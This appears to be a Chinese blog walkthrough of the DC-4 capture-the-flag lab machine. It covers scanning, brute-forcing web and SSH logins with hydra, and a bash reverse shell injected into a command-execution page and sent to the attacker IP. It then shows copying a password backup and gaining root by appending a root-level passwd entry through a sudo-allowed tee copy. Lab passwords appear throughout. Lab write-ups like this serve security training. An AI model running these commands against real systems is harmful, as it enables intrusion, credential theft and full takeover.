环境准备
DC-4靶机 ip:???????
kali攻击机 ip:192.168.153.128
一、信息收集
kali攻击机中,使用 arp-scan -l 扫描c段(-l为扫描c段)确定靶机IP地址为192.168.153.129
![](https://i-blog.csdnimg.cn/blog_migrate/1ec8616c0459966fcd428de4f7c1ff7a.png)
对目标靶机使用nmap端口扫描
nmap -sV 192.168.153.129 扫描靶机开放端口(-sV探测服务软件的版本)
![](https://i-blog.csdnimg.cn/blog_migrate/d96902ed98eb1efb67117291bc01f953.png)
探测到目标开放了22端口和80端口,访问目标80端口,发现是一个登录页面,随便尝试登陆一下,发现登录失败不会有任何提示。sql注入貌似也不存在。使用gobuster 扫一下目标目录。
gobuster dir -u http://192.168.153.129 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x .php
![](https://i-blog.csdnimg.cn/blog_migrate/4986bc44c0852deb044d46e317d2e9a7.png)
发现这几个目录想要访问都需要先登录。。。。唉,最不愿意的东西,那就爆破登录吧。。
二、hydra爆破密码
![](https://i-blog.csdnimg.cn/blog_migrate/99f586681d3e143de1015837800c2ec5.png)
因为登录页面的一句“Admin Information Systems Login”登录用户名大概率admin没跑了,根据网站目录扫描结果,可以推测登录成功后会跳转到/command.php页面,也许页面有command这个单词,尝试用hydra的登录成功提示进行扫描。
备注:密码本是网上找的
hydra -l admin -P 133127.txt 192.168.153.129 http-post-form "/login.php:username=^USER^&password=^PASS^:S=command"
![](https://i-blog.csdnimg.cn/blog_migrate/ae1ad2015deeddcb39fa35e7d563ce5d.png)
爆破得到admin的密码为happy,登录一下,成功登录
![](https://i-blog.csdnimg.cn/blog_migrate/473344f38892c745c2f9bfaba8f7c409.png)
点击command,跳转到/command.php页面,点击run,发现执行了系统命令
![](https://i-blog.csdnimg.cn/blog_migrate/ad6c4406b3ef48622b3db0c14635533c.png)
三、利用RCE(远程代码执行)漏洞getshell
打开bp抓包,抓取run的数据包,发送到repeater模块
![](https://i-blog.csdnimg.cn/blog_migrate/c23c4ee399ed4c099b23f33ef5fb3a9d.png)
在kali开启8888监听端口
nc -nlvp 8888
将bash -c 'exec bash -i &>/dev/tcp/192.168.153.128/8888 <&1'在burp的decoder模块进行URL编码(攻击机IP)
![](https://i-blog.csdnimg.cn/blog_migrate/cd1cad2541829662061b090149d1e8a6.png)
用编码后的结果替代radio的值并发送
![](https://i-blog.csdnimg.cn/blog_migrate/be5cdb7788f341d09510e7fd1abe4815.png)
kali攻击机成功获取到www-data的shell
![](https://i-blog.csdnimg.cn/blog_migrate/87c831499fbcc67fbeec6b74e9a245cc.png)
进去溜达溜达左右看看,在/home目录下发现三个用户目录
![](https://i-blog.csdnimg.cn/blog_migrate/bbf1a4fd31babcb65183117d321ef56f.png)
在/home/jim/backups目录下有个叫old-passwords.bak的文件,里面有很多密码串
![](https://i-blog.csdnimg.cn/blog_migrate/e05c7cc81cf18ff5fa5346fd87ad5e3c.png)
在靶机上/home/jim/backups目录下用python3起http服务
python3 -m http.server 9999
![](https://i-blog.csdnimg.cn/blog_migrate/6ed3fcadda83414ccab463c168fe3e1d.png)
kali攻击机上用wget下载old-passwords.bak
wget http://192.168.153.129:9999/old-passwords.bak
![](https://i-blog.csdnimg.cn/blog_migrate/8f1dd0605c6153886e6afbe5b19be3b5.png)
获得密码本备份后,使用hydra尝试爆破jim的ssh登录密码
hydra -l jim -P old-passwords.bak ssh://192.168.153.129
![](https://i-blog.csdnimg.cn/blog_migrate/fdf5dccc0d3983b5e2f824c153f90289.png)
以用户名jim,密码jibril04进行登录,成功登录靶机
![](https://i-blog.csdnimg.cn/blog_migrate/27fcd46ad06f3317097fd52ce57cdb46.png)
使用sudo -l 发现jim账户无法sudo
![](https://i-blog.csdnimg.cn/blog_migrate/2a0854b2773dea84c96acb8bd8b40f37.png)
在/home/jim目录下,有个mbox文件,查看文件,是一封来自root的邮件看看内容没什么有用的
![](https://i-blog.csdnimg.cn/blog_migrate/80645b9275cb894c5a977fc934450121.png)
有没有其他邮件呢?全局搜索mail相关的文件和文件夹
find / -name mail 2>/dev/null
![](https://i-blog.csdnimg.cn/blog_migrate/8dadbd582b348a89dd0433cf823aad71.png)
在/var/mail和/var/spool/mail有一封相同的邮件,文件名叫jim,内容如下,从图中可见,charles的密码是^xHhA&hvim0y
![](https://i-blog.csdnimg.cn/blog_migrate/eedf0dcc1ccda0f83c367fc1c5026f8a.png)
切换到charles账户
![](https://i-blog.csdnimg.cn/blog_migrate/9fb4b75e521efb0e22fc71e687f90603.png)
四、sudo tee提权
切换到charles,然后执行sudo -l发现charles可以以root身份执行/usr/bin/teehee
![](https://i-blog.csdnimg.cn/blog_migrate/598e4b1d776dd223c84d98bb2fdc37ef.png)
由于/usr/bin/teehee是个自创命令,因此可以先执行/usr/bin/teehee --help来看看这个命令怎么使用
从命令帮助来看,这个应该就是tee命令的副本,功能和tee命令是一样的
![](https://i-blog.csdnimg.cn/blog_migrate/454c67a9a01714613b95e4d4ed85a1ac.png)
试试用tee命令的提权方法来提权:
在靶机的/etc/passwd文件中新增一个用户fancy,密码为123456,其他都和root用户一致,具体操作如下
1)在攻击机上用openssl生成写入passwd的用户的密码md5散列
openssl passwd -1 -salt dc4 123456
得到$1$dc4$et4u0w92ZYIY4bsJE/gJG0
![](https://i-blog.csdnimg.cn/blog_migrate/f7f24dbab37e037aaefb65d22fd26e78.png)
2)在靶机/etc/passwd文件中新增用户fancy
echo 'fancy:$1$dc4$et4u0w92ZYIY4bsJE/gJG0:0:0:root:/root:/bin/bash' | sudo /usr/bin/teehee -a /etc/passwd
![](https://i-blog.csdnimg.cn/blog_migrate/529cee73179fe238e0192151340de48e.png)
3)su - fancy密码为刚刚设置的123456成功提权到root
![](https://i-blog.csdnimg.cn/blog_migrate/c3146ba509c12a43e395065e43f54440.png)
进入root以后去找找新发现吧,在/root下,发现一个flag.txt文件
![](https://i-blog.csdnimg.cn/blog_migrate/ccb1ec90b19fcc9f6b34a2fb93c54c36.png)
cat flag.txt成功找到flag
![](https://i-blog.csdnimg.cn/blog_migrate/7ec1ae747ce7d1fea772d482d72a5c5d.png)